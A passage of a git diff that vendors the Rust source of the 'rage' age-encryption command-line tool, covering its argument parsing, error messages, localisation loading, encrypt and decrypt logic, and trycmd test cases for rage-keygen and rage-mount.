()).ok_or(libc::EBADF) + } +} diff --git a/lib/rage/rage/src/bin/rage/cli.rs b/lib/rage/rage/src/bin/rage/cli.rs new file mode 100644 index 0000000..1084ce5 --- /dev/null +++ b/lib/rage/rage/src/bin/rage/cli.rs @@ -0,0 +1,163 @@ +use std::path::Path; + +use clap::{ + builder::{Styles, ValueHint}, + ArgAction, Parser, +}; + +use crate::fl; + +fn binary_name(suffix: Option<&str>) -> String { + if let Some(arg) = std::env::args_os().next() { + let path = Path::new(&arg); + if let Some(suffix) = suffix { + let stem = path + .file_stem() + .expect("is not directory") + .to_string_lossy(); + let extension = path + .extension() + .map(|extension| format!(".{}", extension.to_string_lossy())) + .unwrap_or_default(); + format!("{}{}{}", stem, suffix, extension) + } else { + path.file_name() + .expect("is not directory") + .to_string_lossy() + .to_string() + } + } else { + format!("rage{}", suffix.unwrap_or_default()) + } +} + +fn usage() -> String { + let binary_name = binary_name(None); + let recipient = fl!("recipient"); + let recipients_file = fl!("recipients-file"); + let identity = fl!("identity"); + let input = fl!("input"); + let output = fl!("output"); + + format!( + "{binary_name} [--encrypt] (-r {recipient} | -R {recipients_file})... [-i {identity}] [-a] [-o {output}] [{input}]\n \ + {binary_name} [--encrypt] --passphrase [-a] [-o {output}] [{input}]\n \ + {binary_name} --decrypt [-i {identity}] [-o {output}] [{input}]", + ) +} + +pub(crate) fn after_help_content(keygen_name: &str) -> String { + fl!( + "rage-after-help-content", + keygen_name = keygen_name, + example_age_pubkey = "\"age1...\"", + example_ssh_pubkey = "\"ssh-ed25519 AAAA...\", \"ssh-rsa AAAA...\"", + ) +} + +fn after_help() -> String { + let keygen_name = binary_name(Some("-keygen")); + let binary_name = binary_name(None); + let example_a = format!("$ {} -o key.txt", keygen_name); + let example_a_output = "age1ql3z7hjy54pw3hyww5ayyfg7zqgvc7w3j2elw8zmrj2kg5sfn9aqmcac8p"; + let example_b = format!( + "$ tar cvz ~/data | {} -r {} > data.tar.gz.age", + binary_name, example_a_output, + ); + let example_c = format!( + "$ {} -d -i key.txt -o data.tar.gz data.tar.gz.age", + binary_name, + ); + + format!( + "{}\n\n{}", + after_help_content(&keygen_name), + fl!( + "rage-after-help-example", + example_a = example_a, + example_a_output = example_a_output, + example_b = example_b, + example_c = example_c, + ), + ) +} + +#[derive(Debug, Parser)] +#[command(author, version)] +#[command(help_template = format!("\ +{{before-help}}{{about-with-newline}} +{}{}:{} {{usage}} + +{{all-args}}{{after-help}}\ + ", + Styles::default().get_usage().render(), + fl!("usage-header"), + Styles::default().get_usage().render_reset()))] +#[command(override_usage(usage()))] +#[command(next_help_heading = fl!("flags-header"))] +#[command(disable_help_flag(true))] +#[command(disable_version_flag(true))] +#[command(after_help(after_help()))] +pub(crate) struct AgeOptions { + #[arg(help_heading = fl!("args-header"))] + #[arg(value_name = fl!("input"))] + #[arg(help = fl!("help-arg-input"))] + #[arg(value_hint = ValueHint::FilePath)] + pub(crate) input: Option, + + #[arg(action = ArgAction::Help, short, long)] + #[arg(help = fl!("help-flag-help"))] + pub(crate) help: Option, + + #[arg(action = ArgAction::Version, short = 'V', long)] + #[arg(help = fl!("help-flag-version"))] + pub(crate) version: Option, + + #[arg(short, long)] + #[arg(help = fl!("help-flag-encrypt"))] + pub(crate) encrypt: bool, + + #[arg(short, long)] + #[arg(help = fl!("help-flag-decrypt"))] + pub(crate) decrypt: bool, + + #[arg(short, long)] + #[arg(help = fl!("help-flag-passphrase"))] + pub(crate) passphrase: bool, + + #[arg(long, value_name = "WF")] + #[arg(help = fl!("help-flag-max-work-factor"))] + pub(crate) max_work_factor: Option, + + #[arg(short, long)] + #[arg(help = fl!("help-flag-armor"))] + pub(crate) armor: bool, + + #[arg(short, long)] + #[arg(value_name = fl!("recipient"))] + #[arg(help = fl!("help-flag-recipient"))] + pub(crate) recipient: Vec, + + #[arg(short = 'R', long)] + #[arg(value_name = fl!("recipients-file"))] + #[arg(help = fl!("help-flag-recipients-file"))] + #[arg(value_hint = ValueHint::FilePath)] + pub(crate) recipients_file: Vec, + + #[arg(short, long)] + #[arg(value_name = fl!("identity"))] + #[arg(help = fl!("help-flag-identity"))] + #[arg(value_hint = ValueHint::FilePath)] + pub(crate) identity: Vec, + + #[arg(short = 'j')] + #[arg(value_name = fl!("plugin-name"))] + #[arg(help = fl!("help-flag-plugin-name"))] + pub(crate) plugin_name: Option, + + #[arg(short, long)] + #[arg(value_name = fl!("output"))] + #[arg(help = fl!("help-flag-output"))] + #[arg(value_hint = ValueHint::AnyPath)] + pub(crate) output: Option, +} diff --git a/lib/rage/rage/src/bin/rage/error.rs b/lib/rage/rage/src/bin/rage/error.rs new file mode 100644 index 0000000..7ac82e9 --- /dev/null +++ b/lib/rage/rage/src/bin/rage/error.rs @@ -0,0 +1,242 @@ +use std::fmt; +use std::io; + +macro_rules! wfl { + ($f:ident, $message_id:literal) => { + write!($f, "{}", $crate::fl!($message_id)) + }; + + ($f:ident, $message_id:literal, $($args:expr),* $(,)?) => { + write!($f, "{}", $crate::fl!($message_id, $($args), *)) + }; +} + +macro_rules! wlnfl { + ($f:ident, $message_id:literal) => { + writeln!($f, "{}", $crate::fl!($message_id)) + }; + + ($f:ident, $message_id:literal, $($args:expr),* $(,)?) => { + writeln!($f, "{}", $crate::fl!($message_id, $($args), *)) + }; +} + +pub(crate) enum EncryptError { + Age(age::EncryptError), + BrokenPipe { + is_stdout: bool, + source: io::Error, + }, + IdentityRead(age::cli_common::ReadError), + Io(io::Error), + MixedIdentityAndPassphrase, + MixedRecipientAndPassphrase, + MixedRecipientsFileAndPassphrase, + PassphraseTimedOut, + #[cfg(not(unix))] + PassphraseWithoutFileArgument, + PluginNameFlag, +} + +impl From for EncryptError { + fn from(e: age::EncryptError) -> Self { + match e { + age::EncryptError::Io(e) => EncryptError::Io(e), + _ => EncryptError::Age(e), + } + } +} + +impl From for EncryptError { + fn from(e: age::cli_common::ReadError) -> Self { + EncryptError::IdentityRead(e) + } +} + +impl From for EncryptError { + fn from(e: io::Error) -> Self { + EncryptError::Io(e) + } +} + +impl fmt::Display for EncryptError { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + match self { + EncryptError::Age(e @ age::EncryptError::MissingRecipients) => { + writeln!(f, "{}", e)?; + wfl!(f, "rec-enc-missing-recipients") + } + EncryptError::Age(e) => write!(f, "{}", e), + EncryptError::BrokenPipe { is_stdout, source } => { + if *is_stdout { + wlnfl!(f, "err-enc-broken-stdout", err = source.to_string())?; + wfl!(f, "rec-enc-broken-stdout") + } else { + wfl!(f, "err-enc-broken-file", err = source.to_string()) + } + } + EncryptError::IdentityRead(e) => write!(f, "{}", e), + EncryptError::Io(e) => write!(f, "{}", e), + EncryptError::MixedIdentityAndPassphrase => { + wfl!(f, "err-enc-mixed-identity-passphrase") + } + EncryptError::MixedRecipientAndPassphrase => { + wfl!(f, "err-enc-mixed-recipient-passphrase") + } + EncryptError::MixedRecipientsFileAndPassphrase => { + wfl!(f, "err-enc-mixed-recipients-file-passphrase") + } + EncryptError::PassphraseTimedOut => wfl!(f, "err-passphrase-timed-out"), + #[cfg(not(unix))] + EncryptError::PassphraseWithoutFileArgument => { + wfl!(f, "err-enc-passphrase-without-file") + } + EncryptError::PluginNameFlag => { + wfl!(f, "err-enc-plugin-name-flag") + } + } + } +} + +#[derive(Debug)] +pub(crate) struct DetectedPowerShellCorruptionError; + +impl fmt::Display for DetectedPowerShellCorruptionError { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + wlnfl!(f, "err-detected-powershell-corruption")?; + wfl!(f, "rec-detected-powershell-corruption") + } +} + +impl std::error::Error for DetectedPowerShellCorruptionError {} + +pub(crate) enum DecryptError { + Age(age::DecryptError), + ArmorFlag, + IdentityRead(age::cli_common::ReadError), + Io(io::Error), + MissingIdentities { + stdin_identity: bool, + }, + MixedIdentityAndPassphrase, + MixedIdentityAndPluginName, + PassphraseFlag, + PassphraseTimedOut, + #[cfg(not(unix))] + PassphraseWithoutFileArgument, + RecipientFlag, + RecipientsFileFlag, +} + +impl From for DecryptError { + fn from(e: age::DecryptError) -> Self { + DecryptError::Age(e) + } +} + +impl From for DecryptError { + fn from(e: age::cli_common::ReadError) -> Self { + DecryptError::IdentityRead(e) + } +} + +impl From for DecryptError { + fn from(e: io::Error) -> Self { + DecryptError::Io(e) + } +} + +impl fmt::Display for DecryptError { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + match self { + DecryptError::Age(e) => match e { + age::DecryptError::ExcessiveWork { required, .. } => { + writeln!(f, "{}", e)?; + wfl!(f, "rec-dec-excessive-work", wf = required) + } + _ => write!(f, "{}", e), + }, + DecryptError::ArmorFlag => { + wlnfl!(f, "err-dec-armor-flag")?; + wfl!(f, "rec-dec-armor-flag") + } + DecryptError::IdentityRead(e) => write!(f, "{}", e), + DecryptError::Io(e) => write!(f, "{}", e), + DecryptError::MissingIdentities { stdin_identity } => { + wlnfl!(f, "err-dec-missing-identities")?; + if *stdin_identity { + wfl!(f, "rec-dec-missing-identities-stdin") + } else { + wfl!(f, "rec-dec-missing-identities") + } + } + DecryptError::MixedIdentityAndPassphrase => { + wfl!(f, "err-dec-mixed-identity-passphrase") + } + DecryptError::MixedIdentityAndPluginName => { + wfl!(f, "err-mixed-identity-and-plugin-name") + } + DecryptError::PassphraseFlag => { + wlnfl!(f, "err-dec-passphrase-flag")?; + wfl!(f, "rec-dec-passphrase-flag") + } + DecryptError::PassphraseTimedOut => wfl!(f, "err-passphrase-timed-out"), + #[cfg(not(unix))] + DecryptError::PassphraseWithoutFileArgument => { + wfl!(f, "err-dec-passphrase-without-file-win") + } + DecryptError::RecipientFlag => { + wlnfl!(f, "err-dec-recipient-flag")?; + wfl!(f, "rec-dec-recipient-flag") + } + DecryptError::RecipientsFileFlag => { + wlnfl!(f, "err-dec-recipients-file-flag")?; + wfl!(f, "rec-dec-recipient-flag") + } + } + } +} + +pub(crate) enum Error { + Decryption(DecryptError), + Encryption(EncryptError), + IdentityFlagAmbiguous, + MixedEncryptAndDecrypt, + SameInputAndOutput(String), +} + +impl From for Error { + fn from(e: DecryptError) -> Self { + Error::Decryption(e) + } +} + +impl From for Error { + fn from(e: EncryptError) -> Self { + Error::Encryption(e) + } +} + +// Rust only supports `fn main() -> Result<(), E: Debug>`, so we implement `Debug` +// manually to provide the error output we want. +impl fmt::Debug for Error { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + match self { + Error::Decryption(e) => writeln!(f, "{}", e)?, + Error::Encryption(e) => writeln!(f, "{}", e)?, + Error::IdentityFlagAmbiguous => wlnfl!(f, "err-identity-ambiguous")?, + Error::MixedEncryptAndDecrypt => wlnfl!(f, "err-mixed-encrypt-decrypt")?, + Error::SameInputAndOutput(filename) => { + wlnfl!(f, "err-same-input-and-output", filename = filename.as_str())? + } + } + writeln!(f)?; + writeln!(f, "[ {} ]", crate::fl!("err-ux-A"))?; + write!( + f, + "[ {}: https://str4d.xyz/rage/report {} ]", + crate::fl!("err-ux-B"), + crate::fl!("err-ux-C") + ) + } +} diff --git a/lib/rage/rage/src/bin/rage/i18n.rs b/lib/rage/rage/src/bin/rage/i18n.rs new file mode 100644 index 0000000..acd305a --- /dev/null +++ b/lib/rage/rage/src/bin/rage/i18n.rs @@ -0,0 +1,31 @@ +use i18n_embed::{ + fluent::{fluent_language_loader, FluentLanguageLoader}, + unic_langid::LanguageIdentifier, +}; +use lazy_static::lazy_static; +use rust_embed::RustEmbed; + +#[derive(RustEmbed)] +#[folder = "i18n"] +struct Localizations; + +lazy_static! { + pub(crate) static ref LANGUAGE_LOADER: FluentLanguageLoader = fluent_language_loader!(); +} + +/// Selects the most suitable available language in order of preference by +/// `requested_languages`, and loads it using the `rage` [`static@LANGUAGE_LOADER`] from the +/// languages available in `rage/i18n/`. +/// +/// Returns the available languages that were negotiated as being the most suitable to be +/// selected, and were loaded by [`i18n_embed::select`]. +pub(crate) fn load_languages( + requested_languages: &[LanguageIdentifier], +) -> Vec { + let supported_languages = + i18n_embed::select(&*LANGUAGE_LOADER, &Localizations, requested_languages).unwrap(); + // Unfortunately the common Windows terminals don't support Unicode Directionality + // Isolation Marks, so we disable them for now. + LANGUAGE_LOADER.set_use_isolating(false); + supported_languages +} diff --git a/lib/rage/rage/src/bin/rage/main.rs b/lib/rage/rage/src/bin/rage/main.rs new file mode 100644 index 0000000..a0e5231 --- /dev/null +++ b/lib/rage/rage/src/bin/rage/main.rs @@ -0,0 +1,421 @@ +#![forbid(unsafe_code)] + +use age::{ + armor::{ArmoredReader, ArmoredWriter, Format}, + cli_common::{ + file_io, read_identities, read_or_generate_passphrase, read_recipients, read_secret, + Passphrase, StdinGuard, UiCallbacks, + }, + plugin, scrypt, + secrecy::ExposeSecret, + Identity, +}; +use clap::{CommandFactory, Parser}; +use i18n_embed::DesktopLanguageRequester; + +use std::io; +use std::path::Path; + +mod cli; +use cli::AgeOptions; + +mod error; + +mod i18n; + +#[macro_export] +macro_rules! fl { + ($message_id:literal) => {{ + i18n_embed_fl::fl!($crate::i18n::LANGUAGE_LOADER, $message_id) + }}; + + ($message_id:literal, $($args:expr),* $(,)?) => {{ + i18n_embed_fl::fl!($crate::i18n::LANGUAGE_LOADER, $message_id, $($args), *) + }}; +} + +macro_rules! warning { + ($warning_id:literal) => {{ + eprintln!("{}", fl!("warning-msg", warning = fl!($warning_id))); + }}; +} + +fn set_up_io( + input: Option, + output: Option, + output_format: file_io::OutputFormat, +) -> io::Result<(file_io::InputReader, file_io::OutputWriter)> { + let input = file_io::InputReader::new(input)?; + + // Create an output to the user-requested location. + let output = + file_io::OutputWriter::new(output, true, output_format, 0o666, input.is_terminal())?; + + Ok((input, output)) +} + +type ReadCheckerMatchCase = (&'static [u8], Box io::Result<()>>); +type ReadCheckerMatcher = Option<(&'static [u8], usize, Box io::Result<()>>)>; + +/// A wrapper around a reader that checks it for various prefixes. +struct ReadChecker { + inner: R, + matches: [ReadCheckerMatcher; N], +} + +impl ReadChecker { + fn new(inner: R, matches: [ReadCheckerMatchCase; N]) -> Self { + Self { + inner, + matches: matches.map(|(prefix, on_match)| Some((prefix, 0, on_match))), + } + } +} + +impl io::Read for ReadChecker { + fn read(&mut self, buf: &mut [u8]) -> io::Result { + let read = self.inner.read(buf)?; + let data = &buf[..read]; + + for matcher in &mut self.matches { + if let Some((prefix, start, on_match)) = matcher.take() { + let to_check = &prefix[start..]; + if to_check.len() > data.len() { + // We haven't read enough data to verify a full match; check for a + // partial match, and update the matched counter so we keep checking. + if to_check.starts_with(data) { + *matcher = Some((prefix, start + data.len(), on_match)); + } + } else if data.starts_with(to_check) { + on_match()?; + // Don't set matched so we stop checking. + } + } + } + + Ok(read) + } +} + +fn encrypt(opts: AgeOptions) -> Result<(), error::EncryptError> { + if opts.plugin_name.is_some() { + return Err(error::EncryptError::PluginNameFlag); + } + + let (format, output_format) = if opts.armor { + (Format::AsciiArmor, file_io::OutputFormat::Text) + } else { + (Format::Binary, file_io::OutputFormat::Binary) + }; + + #[cfg(not(unix))] + let has_file_argument = opts.input.is_some(); + + let (input, output) = set_up_io(opts.input, opts.output, output_format)?; + + let is_stdin = match input { + file_io::InputReader::File(_) => false, + file_io::InputReader::Stdin(_) => true, + }; + let mut stdin_guard = StdinGuard::new(is_stdin); + + let is_stdout = match output { + file_io::OutputWriter::File(..) => false, + file_io::OutputWriter::Stdout(..) => true, + }; + + let encryptor = if opts.passphrase { + if !opts.identity.is_empty() { + return Err(error::EncryptError::MixedIdentityAndPassphrase); + } + if !opts.recipient.is_empty() { + return Err(error::EncryptError::MixedRecipientAndPassphrase); + } + if !opts.recipients_file.is_empty() { + return Err(error::EncryptError::MixedRecipientsFileAndPassphrase); + } + + // The `rpassword` crate opens `/dev/tty` directly on Unix, so we don't have + // any conflict with stdin. + #[cfg(not(unix))] + { + if !has_file_argument { + return Err(error::EncryptError::PassphraseWithoutFileArgument); + } + } + + match read_or_generate_passphrase() { + Ok(Passphrase::Typed(passphrase)) => age::Encryptor::with_user_passphrase(passphrase), + Ok(Passphrase::Generated(new_passphrase)) => { + eprintln!("{}", fl!("autogenerated-passphrase")); + eprintln!(" {}", new_passphrase.expose_secret()); + age::Encryptor::with_user_passphrase(new_passphrase) + } + Err(pinentry::Error::Cancelled) => return Ok(()), + Err(pinentry::Error::Timeout) => return Err(error::EncryptError::PassphraseTimedOut), + Err(pinentry::Error::Encoding(e)) => { + // Pretend it is an I/O error + return Err(error::EncryptError::Io(io::Error::new( + io::ErrorKind::InvalidData, + e, + ))); + } + Err(pinentry::Error::Gpg(e)) => { + // Pretend it is an I/O error + return Err(error::EncryptError::Io(io::Error::new( + io::ErrorKind::Other, + format!("{}", e), + ))); + } + Err(pinentry::Error::Io(e)) => return Err(error::EncryptError::Io(e)), + } + } else { + if opts.recipient.is_empty() && opts.recipients_file.is_empty() && opts.identity.is_empty() + { + return Err(error::EncryptError::Age( + age::EncryptError::MissingRecipients, + )); + } + + let recipients = read_recipients( + opts.recipient, + opts.recipients_file, + opts.identity, + opts.max_work_factor, + &mut stdin_guard, + )?; + + age::Encryptor::with_recipients(recipients.iter().map(|r| r.as_ref() as _))? + }; + + let mut output = encryptor.wrap_output(ArmoredWriter::wrap_output(output, format)?)?; + + // Give more useful errors specifically when writing to the output. + let map_io_errors = |e: io::Error| match e.kind() { + io::ErrorKind::BrokenPipe => error::EncryptError::BrokenPipe { + is_stdout, + source: e, + }, + _ => e.into(), + }; + + const AGE_MAGIC: &[u8] = b"age-encryption.org/"; + const ARMORED_BEGIN_MARKER: &[u8] = b"-----BEGIN AGE ENCRYPTED FILE-----"; + let warn_double_encrypting = Box::new(|| { + warning!("warn-double-encrypting"); + Ok(()) + }); + + io::copy( + &mut ReadChecker::new( + input, + [ + (AGE_MAGIC, warn_double_encrypting.clone()), + (ARMORED_BEGIN_MARKER, warn_double_encrypting), + ], + ), + &mut output, + ) + .map_err(map_io_errors)?; + output + .finish() + .and_then(|armor| armor.finish()) + .map_err(map_io_errors)?; + + Ok(()) +} + +fn write_output( + mut input: R, + mut output: W, +) -> Result<(), error::DecryptError> { + io::copy(&mut input, &mut output)?; + + Ok(()) +} + +#[inline] +fn valid_plugin_name(plugin_name: &str) -> bool { + plugin_name + .bytes() + .all(|b| b.is_ascii_alphanumeric() | matches!(b, b'+' | b'-' | b'.' | b'_')) +} + +fn decrypt(opts: AgeOptions) -> Result<(), error::DecryptError> { + if opts.armor { + return Err(error::DecryptError::ArmorFlag); + } + if opts.passphrase { + return Err(error::DecryptError::PassphraseFlag); + } + + if !opts.recipient.is_empty() { + return Err(error::DecryptError::RecipientFlag); + } + if !opts.recipients_file.is_empty() { + return Err(error::DecryptError::RecipientsFileFlag); + } + + if !(opts.identity.is_empty() || opts.plugin_name.is_none()) { + return Err(error::DecryptError::MixedIdentityAndPluginName); + } + + #[cfg(not(unix))] + let has_file_argument = opts.input.is_some(); + + let (input, output) = set_up_io(opts.input, opts.output, file_io::OutputFormat::Unknown)?; + + let is_stdin = match input { + file_io::InputReader::File(_) => false, + file_io::InputReader::Stdin(_) => true, + }; + let mut stdin_guard = StdinGuard::new(is_stdin); + + let identities_were_provided = !opts.identity.is_empty(); + let stdin_identity = opts.identity.iter().any(|s| s == "-"); + let plugin_name = opts.plugin_name.as_deref().unwrap_or_default(); + let identities = if plugin_name.is_empty() { + read_identities(opts.identity, opts.max_work_factor, &mut stdin_guard)? + } else { + if !valid_plugin_name(plugin_name) { + return Err(age::DecryptError::MissingPlugin { + binary_name: plugin_name.into(), + } + .into()); + } + // Construct the default plugin. + vec![Box::new(plugin::IdentityPluginV1::new( + plugin_name, + &[plugin::Identity::default_for_plugin(plugin_name)], + UiCallbacks, + )?) as Box] + }; + + // CRLF_MANGLED_INTRO and UTF16_MANGLED_INTRO are the intro lines of the age format after + // mangling by various versions of PowerShell redirection, truncated to the length of the + // correct intro line. See https://github.com/FiloSottile/age/issues/290 for more info. + const CRLF_MANGLED_INTRO: &[u8] = b"age-encryption.org/v1\r"; + const UTF16_MANGLED_INTRO: &[u8] = + b"\xff\xfea\x00g\x00e\x00-\x00e\x00n\x00c\x00r\x00y\x00p\x00"; + let err_powershell_corruption = Box::new(|| { + Err(io::Error::new( + io::ErrorKind::InvalidInput, + error::DetectedPowerShellCorruptionError, + )) + }); + + let input = ReadChecker::new( + input, + [ + (CRLF_MANGLED_INTRO, err_powershell_corruption.clone()), + (UTF16_MANGLED_INTRO, err_powershell_corruption), + ], + ); + + let decryptor = age::Decryptor::new_buffered(ArmoredReader::new(input))?; + + if decryptor.is_scrypt() { + if identities_were_provided { + return Err(error::DecryptError::MixedIdentityAndPassphrase); + } + + // The `rpassword` crate opens `/dev/tty` directly on Unix, so we don't have + // any conflict with stdin. + #[cfg(not(unix))] + { + if !has_file_argument { + return Err(error::DecryptError::PassphraseWithoutFileArgument); + } + } + + match read_secret(&fl!("type-passphrase"), &fl!("prompt-passphrase"), None) { + Ok(passphrase) => { + let mut identity = scrypt::Identity::new(passphrase); + if let Some(max_work_factor) = opts.max_work_factor { + identity.set_max_work_factor(max_work_factor); + } + + decryptor + .decrypt(Some(&identity as _).into_iter()) + .map_err(|e| e.into()) + .and_then(|input| write_output(input, output)) + } + Err(pinentry::Error::Cancelled) => Ok(()), + Err(pinentry::Error::Timeout) => Err(error::DecryptError::PassphraseTimedOut), + Err(pinentry::Error::Encoding(e)) => { + // Pretend it is an I/O error + Err(error::DecryptError::Io(io::Error::new( + io::ErrorKind::InvalidData, + e, + ))) + } + Err(pinentry::Error::Gpg(e)) => { + // Pretend it is an I/O error + Err(error::DecryptError::Io(io::Error::new( + io::ErrorKind::Other, + format!("{}", e), + ))) + } + Err(pinentry::Error::Io(e)) => Err(error::DecryptError::Io(e)), + } + } else { + if identities.is_empty() { + return Err(error::DecryptError::MissingIdentities { stdin_identity }); + } + + decryptor + .decrypt(identities.iter().map(|i| i.as_ref() as &dyn Identity)) + .map_err(|e| e.into()) + .and_then(|input| write_output(input, output)) + } +} + +fn main() -> Result<(), error::Error> { + use std::env::args; + + env_logger::builder() + .format_timestamp(None) + .filter_level(log::LevelFilter::Off) + .parse_default_env() + .init(); + + let requested_languages = DesktopLanguageRequester::requested_languages(); + i18n::load_languages(&requested_languages); + age::localizer().select(&requested_languages).unwrap(); + + // If you are piping input with no other args, this will not allow + // it. + if console::user_attended() && args().len() == 1 { + AgeOptions::command() + .print_help() + .map_err(error::EncryptError::Io)?; + return Ok(()); + } + + let opts = AgeOptions::parse(); + + if opts.encrypt && opts.decrypt { + return Err(error::Error::MixedEncryptAndDecrypt); + } + if !(opts.identity.is_empty() || opts.encrypt || opts.decrypt) { + return Err(error::Error::IdentityFlagAmbiguous); + } + + if let (Some(in_file), Some(out_file)) = (&opts.input, &opts.output) { + // Check that the given filenames do not correspond to the same file. + let in_path = Path::new(&in_file); + let out_path = Path::new(&out_file); + match (in_path.canonicalize(), out_path.canonicalize()) { + (Ok(in_abs), Ok(out_abs)) if in_abs == out_abs => { + return Err(error::Error::SameInputAndOutput(out_file.clone())); + } + _ => (), + } + } + + if opts.decrypt { + decrypt(opts).map_err(error::Error::from) + } else { + encrypt(opts).map_err(error::Error::from) + } +} diff --git a/lib/rage/rage/tests/cli_tests.rs b/lib/rage/rage/tests/cli_tests.rs new file mode 100644 index 0000000..adc8782 --- /dev/null +++ b/lib/rage/rage/tests/cli_tests.rs @@ -0,0 +1,12 @@ +#[test] +fn cli_tests() { + let tests = trycmd::TestCases::new(); + + tests.case("tests/cmd/*/*.toml"); + + #[cfg(unix)] + tests.case("tests/unix/*/*.toml"); + + #[cfg(not(unix))] + tests.case("tests/windows/*/*.toml"); +} diff --git a/lib/rage/rage/tests/cmd/rage-keygen/gen-output-invalid-filename.toml b/lib/rage/rage/tests/cmd/rage-keygen/gen-output-invalid-filename.toml new file mode 100644 index 0000000..d8b01cd --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage-keygen/gen-output-invalid-filename.toml @@ -0,0 +1,10 @@ +bin.name = "rage-keygen" +args = "-o ''" +status = "failed" +stdout = "" +stderr = """ +Error: Failed to open output: invalid filename ''. + +[ Did rage not do what you expected? Could an error be more useful? ] +[ Tell us: https://str4d.xyz/rage/report ] +""" diff --git a/lib/rage/rage/tests/cmd/rage-keygen/gen-output-missing-directory.toml b/lib/rage/rage/tests/cmd/rage-keygen/gen-output-missing-directory.toml new file mode 100644 index 0000000..e05627b --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage-keygen/gen-output-missing-directory.toml @@ -0,0 +1,10 @@ +bin.name = "rage-keygen" +args = "-o does-not-exist/key.txt" +status = "failed" +stdout = "" +stderr = """ +Error: Failed to open output: directory 'does-not-exist' does not exist. + +[ Did rage not do what you expected? Could an error be more useful? ] +[ Tell us: https://str4d.xyz/rage/report ] +""" diff --git a/lib/rage/rage/tests/cmd/rage-keygen/gen-output.out/key.txt b/lib/rage/rage/tests/cmd/rage-keygen/gen-output.out/key.txt new file mode 100644 index 0000000..accd9ff --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage-keygen/gen-output.out/key.txt @@ -0,0 +1,3 @@ +# created: 20[..]-[..]-[..]T[..]:[..]:[..]Z +# public key: age1[..] +AGE-SECRET-KEY-1[..] \ No newline at end of file diff --git a/lib/rage/rage/tests/cmd/rage-keygen/gen-output.toml b/lib/rage/rage/tests/cmd/rage-keygen/gen-output.toml new file mode 100644 index 0000000..3805019 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage-keygen/gen-output.toml @@ -0,0 +1,6 @@ +bin.name = "rage-keygen" +args = "-o key.txt" +stdout = "" +stderr = """ +Public key: age1[..] +""" diff --git a/lib/rage/rage/tests/cmd/rage-keygen/gen-stdout.toml b/lib/rage/rage/tests/cmd/rage-keygen/gen-stdout.toml new file mode 100644 index 0000000..e9490e0 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage-keygen/gen-stdout.toml @@ -0,0 +1,11 @@ +bin.name = "rage-keygen" +args = "" +stdout = """ +# created: 20[..]-[..]-[..]T[..]:[..]:[..]Z +# public key: age1[..] +AGE-SECRET-KEY-1[..] +""" +# Because trycmd isn't a terminal, rage-keygen thinks stdout is piped to a file. +stderr = """ +Public key: age1[..] +""" diff --git a/lib/rage/rage/tests/cmd/rage-keygen/help.toml b/lib/rage/rage/tests/cmd/rage-keygen/help.toml new file mode 100644 index 0000000..bfdee1b --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage-keygen/help.toml @@ -0,0 +1,15 @@ +bin.name = "rage-keygen" +args = "--help" +stdout = """ +Usage: rage-keygen[EXE] [OPTIONS] [INPUT] + +Arguments: + [INPUT] Path to a file to read from. + +Options: + -h, --help Print this help message and exit. + -V, --version Print version info and exit. + -o, --output Write the result to the file at path OUTPUT. Defaults to standard output. + -y Convert an identity file to a recipients file. +""" +stderr = "" diff --git a/lib/rage/rage/tests/cmd/rage-keygen/help_it.toml b/lib/rage/rage/tests/cmd/rage-keygen/help_it.toml new file mode 100644 index 0000000..8beca59 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage-keygen/help_it.toml @@ -0,0 +1,16 @@ +bin.name = "rage-keygen" +args = "--help" +env.add.LC_ALL = "it" +stdout = """ +Utilizzo: rage-keygen[EXE] [OPTIONS] [INPUT] + +Argomenti: + [INPUT] Posizione di un file di input. + +Opzioni: + -h, --help Presenta questo messaggio e esci. + -V, --version Presenta la versione e esci. + -o, --output Scrivi l'output al file OUTPUT. Standard output di default. + -y Converti un file di identità in un file di destinatari. +""" +stderr = "" diff --git a/lib/rage/rage/tests/cmd/rage-keygen/version.toml b/lib/rage/rage/tests/cmd/rage-keygen/version.toml new file mode 100644 index 0000000..592c1fb --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage-keygen/version.toml @@ -0,0 +1,6 @@ +bin.name = "rage-keygen" +args = "--version" +stdout = """ +rage-keygen 0.11.1 +""" +stderr = "" diff --git a/lib/rage/rage/tests/cmd/rage-mount/help.toml b/lib/rage/rage/tests/cmd/rage-mount/help.toml new file mode 100644 index 0000000..9d41fbd --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage-mount/help.toml @@ -0,0 +1,17 @@ +bin.name = "rage-mount" +args = "--help" +stdout = """ +Usage: rage-mount[EXE] [OPTIONS] --types + +Arguments: + The encrypted filesystem to mount. + The directory to mount the filesystem at. + +Options: + -h, --help Print this help message and exit. + -V, --version Print version info and exit. + -t, --types Indicates the filesystem type (one of "tar", "zip"). + --max-work-factor Maximum work factor to allow for passphrase decryption. + -i, --identity Use the identity file at IDENTITY. May be repeated. +""" +stderr = "" diff --git a/lib/rage/rage/tests/cmd/rage-mount/help_it.toml b/lib/rage/rage/tests/cmd/rage-mount/help_it.toml new file mode 100644 index 0000000..46ff70c --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage-mount/help_it.toml @@ -0,0 +1,18 @@ +bin.name = "rage-mount" +args = "--help" +env.add.LC_ALL = "it" +stdout = """ +Utilizzo: rage-mount[EXE] [OPTIONS] --types + +Argomenti: + Il filesystem cifrato da montare. + La cartella su cui montare il filesystem. + +Opzioni: + -h, --help Presenta questo messaggio e esci. + -V, --version Presenta la versione e esci. + -t, --types Il tipo del filesystem (uno di "tar", "zip"). + --max-work-factor Fattore di complessità massima per decifrare passphrase. + -i, --identity Usa il file IDENTITÀ. Può essere ripetuto. +""" +stderr = "" diff --git a/lib/rage/rage/tests/cmd/rage-mount/version.toml b/lib/rage/rage/tests/cmd/rage-mount/version.toml new file mode 100644 index 0000000..e30e8af --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage-mount/version.toml @@ -0,0 +1,6 @@ +bin.name = "rage-mount" +args = "--version" 